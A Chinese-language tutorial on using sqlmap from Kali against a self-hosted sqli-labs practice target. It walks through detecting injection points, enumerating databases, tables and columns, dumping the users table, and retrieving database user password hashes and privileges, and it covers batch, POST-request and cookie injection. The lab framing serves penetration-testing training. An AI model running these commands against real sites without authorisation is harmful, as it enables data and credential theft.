kali——sqlmap的使用

本文主要是介绍kali——sqlmap的使用，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

目录

前言

sqlmap在kali中的使用

检测注入点

产看所有数据库

查看当前网站使用的数据库

产看数据表

查看字段

查看字段数据

查看数据库用户

查看所有用户

获取数据库用户密码

查看用户权限

判断当前数据库用户是否是管理员

批量自动化扫描

post请求注入

cookie注入

---

---

前言

sqlmap是一款强大的开源自动化SQL注入工具，主要用于检测和利用SQL注入漏洞，协助渗透测试人员快速发现和验证web应用程序中的SQL注入缺陷。

实际渗透测试中，只要kali机能够上网就可以直接使用sqlmap；这里我们在centos上搭建sqlibs靶场做靶机，kali机为攻击机。

然后将kali机的dns为服务机centos的dns，这样kali机就可以访问centos上的网站了。

---

sqlmap在kali中的使用

检测注入点

sqlmap -u 完整url             //检测过程中需要手动输入y/n，即是否继续进行sql注入检测
sqlmap -u 完整url --batch     //检测过程中默认继续进行sql注入检测

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --batch

可以看到一共扫到了四种类型的sql注入漏洞，以及漏洞使用方法：

---

产看所有数据库

sqlmap -u 完整url --dbs

sqlmap -u  http://www.sqlibs.com/Less-1/?id=1 --dbs

---

查看当前网站使用的数据库

sqlmap -u 完整url --current-db

sqlmap -u  http://www.sqlibs.com/Less-1/?id=1 --current-db

可以看到使用的数据库是security

---

产看数据表

sqlmap -u 完整url -D '数据库名' --tables

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' --tables

可以看到数据库security有四张表：emails、referers、uagents、users

---

查看字段

sqlmap -u 完整url -D '数据库名' -T '表名' --columns

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' -T 'users' --columns

可以看到users表有三个字段：id、password、username

---

查看字段数据

sqlmap -u 完整url -D '数据库名' -T '表名' --dump

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 -D 'security' -T 'users' --dump

可以看到users表的三个字段及其数据

---

查看数据库用户

sqlmap -u 完整url --current-user

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --current-user

---

查看所有用户

sqlmap -u 完整url --users

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --users

---

获取数据库用户密码

sqlmap -u 完整url --passwords

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --passwords

---

查看用户权限

sqlmap -u 完整url --privileges

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --privileges

---

判断当前数据库用户是否是管理员

sqlmap -u 完整url --is-dba

sqlmap -u http://www.sqlibs.com/Less-1/?id=1 --is-dba

判断结果为True，即当前数据库用户是管理员用户。

---

批量自动化扫描

新建xxx.txt文件，里面存放多个url

sqlmap -m xxx.txt

---

post请求注入

将抓包抓到的http请求内容存放到.txt文件中

sqlmap -r xxx.txt

---

cookie注入

sqlmap -u 完整curl --cookie 'cookie'（单引号和双引号都行）

---

---

这篇关于kali——sqlmap的使用的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---